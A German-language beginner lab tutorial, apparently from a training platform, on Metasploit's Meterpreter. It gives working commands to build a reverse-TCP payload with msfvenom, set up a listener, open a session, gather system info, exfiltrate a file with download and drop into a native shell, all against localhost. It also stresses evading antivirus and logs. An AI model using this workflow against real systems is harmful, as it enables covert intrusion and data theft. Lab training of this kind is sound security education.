Einführung in Meterpreter

CybersicherheitBeginner
Jetzt üben

Einführung

Willkommen zum Lab „Einführung in Meterpreter“.

Meterpreter ist ein fortschrittliches, dynamisch erweiterbares Payload, das Teil des Metasploit Frameworks ist. Im Gegensatz zu einer einfachen Befehlszeilen-Shell, die lediglich Standard-Ein- und Ausgaben an eine System-Shell (wie /bin/bash) weiterleitet, bietet Meterpreter eine umfangreiche, interaktive Befehlsumgebung. Da es vollständig im Arbeitsspeicher ausgeführt wird und nichts auf die Festplatte des Zielsystems schreibt, ist es äußerst unauffällig und für herkömmliche Antivirensoftware nur schwer zu erkennen.

Das Besondere an Meterpreter ist, dass es eine einfache Shell in eine vollwertige Sitzungsplattform verwandelt. Anstatt nur Textbefehle an das Betriebssystem zu senden, erhalten Sie integrierte Funktionen für die Informationsbeschaffung, Dateimanipulation, Routing und Post-Exploitation-Workflows.

In diesem Lab lernen Sie den gesamten Prozess kennen: vom Erstellen eines Meterpreter-Payloads über das Einrichten eines Listeners zum Abfangen der eingehenden Verbindung bis hin zur Interaktion mit dem kompromittierten System. Sie werden integrierte Befehle nutzen, um Systeminformationen zu sammeln, ohne auf native Betriebssystem-Binärdateien angewiesen zu sein, und bei Bedarf in eine native System-Shell wechseln.

Meterpreter-Payload bereitstellen

In diesem Schritt erstellen Sie ein Meterpreter-Payload und richten einen Listener ein, um eine Verbindung herzustellen. Wir verwenden msfvenom, einen eigenständigen Payload-Generator des Metasploit Frameworks, um eine ausführbare Datei zu erstellen, die unser Meterpreter-Payload enthält.

Stellen Sie zunächst sicher, dass Sie sich in Ihrem Standard-Arbeitsverzeichnis befinden. Sie erstellen ein ausführbares Linux-Payload, das so konfiguriert ist, dass es eine Verbindung zu Ihrem lokalen Rechner aufbaut (eine sogenannte „Reverse Shell“). Führen Sie den folgenden Befehl aus, um das Payload mit dem Namen payload.elf zu erstellen:

Dieser Schritt der Generierung ist der Moment, in dem die Payload-Parameter zur operativen Realität werden. LHOST und LPORT sind keine abstrakten Einstellungen; sie definieren exakt, wie die Sitzung versuchen wird, Sie zu erreichen.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o payload.elf

Falls Sie Metasploit in der aktuellen Lab-Umgebung zum ersten Mal verwenden, erscheint möglicherweise eine initiale Einrichtungsaufforderung, bevor msfvenom das Payload generiert. Wenn Sie gefragt werden, ob eine neue Datenbank eingerichtet werden soll, antworten Sie mit yes und warten Sie, bis die Einrichtung abgeschlossen ist. Danach fährt msfvenom fort und speichert payload.elf.

Nachdem das Payload generiert wurde, müssen Sie es ausführbar machen, damit das System es ausführen kann. Verwenden Sie den Befehl chmod, um Ausführungsrechte hinzuzufügen:

chmod +x payload.elf

Als Nächstes müssen Sie einen Listener einrichten, um die Verbindung abzufangen, sobald das Payload ausgeführt wird. Wir erstellen ein Ressourcenskript, um die Konfiguration der Metasploit-Konsole (msfconsole) zu automatisieren. Erstellen Sie eine Datei namens listener.rc mit der notwendigen Konfiguration:

cat << EOF > listener.rc
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j
EOF

Starten Sie nun die Metasploit-Konsole mit dem soeben erstellten Ressourcenskript. Das Flag -q startet die Konsole im „Quiet“-Modus (ohne Start-Banner), und -r weist sie an, Ihr Skript auszuführen:

msfconsole -q -r listener.rc

Sie sehen eine Ausgabe, die bestätigt, dass der Reverse-TCP-Handler auf 127.0.0.1:4444 gestartet wurde.

Um das Payload auszuführen, während der Listener aktiv bleibt, müssen Sie einen neuen Terminal-Tab öffnen. Klicken Sie in der LabEx-Oberfläche auf das +-Symbol über dem Terminal, um ein neues Fenster zu öffnen. Führen Sie in diesem neuen Terminal das Payload aus:

./payload.elf

Wechseln Sie zurück zu Ihrem ersten Terminal-Tab. Sie sollten eine Meldung sehen, die besagt: Meterpreter session 1 opened. Drücken Sie die Enter-Taste, um den msf6 >-Prompt zu erhalten, und interagieren Sie dann mit der Sitzung, indem Sie Folgendes eingeben:

sessions -i 1

Sie sehen nun den meterpreter >-Prompt, was bedeutet, dass Sie das Meterpreter-Payload erfolgreich bereitgestellt und eine Verbindung hergestellt haben.

Systeminformationen abrufen (sysinfo)

In diesem Schritt verwenden Sie die integrierten Befehle von Meterpreter, um Informationen über das kompromittierte System zu sammeln. Da Meterpreter im Arbeitsspeicher läuft und über einen eigenen Befehlssatz verfügt, müssen Sie sich nicht auf die nativen Linux-Befehle des Zielsystems (wie uname oder whoami) verlassen, um diese Informationen zu erhalten.

Dieser integrierte Befehlssatz ist einer der Gründe, warum Meterpreter-Sitzungen so wertvoll sind. Viele gängige Aufgaben eines Operators können erledigt werden, ohne sofort in eine native Shell wechseln zu müssen.

Stellen Sie sicher, dass Sie sich am meterpreter >-Prompt aus dem vorherigen Schritt befinden. Falls nicht, stellen Sie sicher, dass Sie mit sessions -i 1 mit der Sitzung verbunden sind.

Um grundlegende Systeminformationen wie den Computernamen, das Betriebssystem, die Architektur und die Meterpreter-Version abzurufen, geben Sie den folgenden Befehl ein:

sysinfo

Sie erhalten eine Ausgabe ähnlich dieser:

Computer     : 172.17.0.2
OS           : Ubuntu 22.04 (Linux 5.15.0-105-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

Als Nächstes können Sie ermitteln, unter welchem Benutzerkonto das Meterpreter-Payload derzeit ausgeführt wird. Dies ist entscheidend, um Ihre Berechtigungsstufe auf dem Zielsystem zu verstehen. Führen Sie dazu folgenden Befehl aus:

getuid

Die Ausgabe zeigt den Benutzernamen des Servers an, der in dieser Umgebung labex lauten sollte:

Server username: labex

Diese Befehle demonstrieren, wie Meterpreter es Ihnen ermöglicht, die kompromittierte Umgebung schnell zu bewerten, ohne systemweite Protokolle auszulösen, die möglicherweise die Ausführung nativer Befehle überwachen.

Durch das Dateisystem des Ziels navigieren

In diesem Schritt erkunden Sie das Dateisystem des Ziels mithilfe der integrierten Dateiverwaltungsbefehle von Meterpreter. Diese Befehle funktionieren ähnlich wie Standard-Linux-Befehle, werden jedoch vollständig innerhalb der Meterpreter-Sitzung ausgeführt, was eine zusätzliche Ebene der Unauffälligkeit bietet.

Die Interaktion mit dem Dateisystem ist eine zentrale Aktivität nach der Kompromittierung (Post-Exploitation), da viele Ziele letztlich davon abhängen, Artefakte auf dem Host zu finden, zu lesen oder zu exfiltrieren.

Vom meterpreter >-Prompt aus können Sie Ihr aktuelles Arbeitsverzeichnis mit dem Befehl pwd überprüfen:

pwd

Sie sollten /home/labex/project als aktuelles Verzeichnis sehen. Um den Inhalt dieses Verzeichnisses aufzulisten, verwenden Sie den Befehl ls:

ls

Sie werden ein Verzeichnis namens target_data bemerken. Navigieren wir mit dem Befehl cd in dieses Verzeichnis:

cd target_data

Falls ls das Verzeichnis target_data nicht anzeigt, erstellen Sie den erforderlichen Ordner und die Datei manuell in Ihrem regulären Terminal (nicht in der Meterpreter-Sitzung) und fahren Sie dann fort:

mkdir -p /home/labex/project/target_data
echo "Confidential Data: Meterpreter is awesome" > /home/labex/project/target_data/secrets.txt

Listen Sie den Inhalt des Verzeichnisses target_data auf, um die darin enthaltenen Dateien zu finden:

ls

Sie sollten eine Datei namens secrets.txt sehen. Sie können den Inhalt dieser Datei direkt innerhalb von Meterpreter mit dem Befehl cat lesen:

cat secrets.txt

Die Ausgabe zeigt die vertraulichen Daten, die in der Datei gespeichert sind. Oft möchten Sie während einer Bewertung Dateien auf Ihren lokalen Rechner exfiltrieren (herunterladen), um sie weiter zu analysieren. Meterpreter macht dies mit dem Befehl download sehr einfach.

Laden Sie die Datei secrets.txt herunter und speichern Sie sie in Ihrem Hauptprojektverzeichnis als downloaded_secrets.txt:

download secrets.txt /home/labex/project/downloaded_secrets.txt

Sie erhalten eine Bestätigungsmeldung, dass die Datei erfolgreich heruntergeladen wurde. Dies zeigt, wie Meterpreter nahtlos Dateien zwischen dem Zielsystem und Ihrem lokalen Rechner übertragen kann.

Systembefehle ausführen (shell)

In diesem Schritt lernen Sie, wie Sie aus Ihrer Meterpreter-Sitzung in eine native System-Shell wechseln. Obwohl Meterpreter viele integrierte Befehle bietet, gibt es Situationen, in denen Sie direkt mit dem Betriebssystem des Ziels interagieren, spezifische Skripte ausführen oder native Binärdateien verwenden müssen, die Meterpreter nicht nativ unterstützt.

Um eine Standard-System-Shell zu öffnen, geben Sie am meterpreter >-Prompt den folgenden Befehl ein:

shell

Sie werden feststellen, dass sich Ihr Prompt ändert oder verschwindet, was darauf hinweist, dass Sie nun direkt mit der /bin/sh- oder /bin/bash-Shell des Zielsystems interagieren.

Da Sie sich nun in einer nativen Shell befinden, können Sie Standard-Linux-Befehle ausführen. Erstellen wir eine Datei, um zu beweisen, dass wir über Ausführungsrechte auf Systemebene verfügen. Führen Sie den folgenden Befehl aus, um eine Datei namens hacked.txt in Ihrem Projektverzeichnis zu erstellen:

echo "hacked by meterpreter" > /home/labex/project/hacked.txt

Sie können überprüfen, ob die Datei erstellt wurde, indem Sie sie mit dem Befehl cat lesen:

cat /home/labex/project/hacked.txt

Die Ausgabe zeigt hacked by meterpreter.

Sobald Sie mit der Ausführung nativer Systembefehle fertig sind, können Sie zur unauffälligen Meterpreter-Sitzung zurückkehren. Geben Sie dazu einfach exit ein und drücken Sie die Enter-Taste:

exit

Sie kehren zum meterpreter >-Prompt zurück. Diese Fähigkeit, nahtlos zwischen einer unauffälligen, speicherresidenten Umgebung und einer vollständigen System-Shell zu wechseln, macht Meterpreter zu einem unglaublich vielseitigen Werkzeug.

Zusammenfassung

Herzlichen Glückwunsch! Sie haben das Lab „Einführung in Meterpreter“ erfolgreich abgeschlossen.

In diesem Lab haben Sie gelernt, wie man ein Meterpreter-Payload mit msfvenom generiert und einen Listener mit msfconsole einrichtet. Sie haben zudem gelernt, wie man kritische System- und Benutzerinformationen mit den integrierten Meterpreter-Befehlen sysinfo und getuid abruft. Darüber hinaus haben Sie geübt, unauffällig durch das Dateisystem des Ziels zu navigieren und Daten mit dem Befehl download zu exfiltrieren. Schließlich haben Sie gelernt, wie man in eine native System-Shell wechselt, um Befehle auf Betriebssystemebene auszuführen und nahtlos zur Meterpreter-Sitzung zurückzukehren.

Diese grundlegenden Fähigkeiten bilden die Basis für Post-Exploitation-Aktivitäten und ermöglichen es Ihnen, die Kontrolle zu behalten, Informationen zu sammeln und kompromittierte Systeme effektiv zu manipulieren.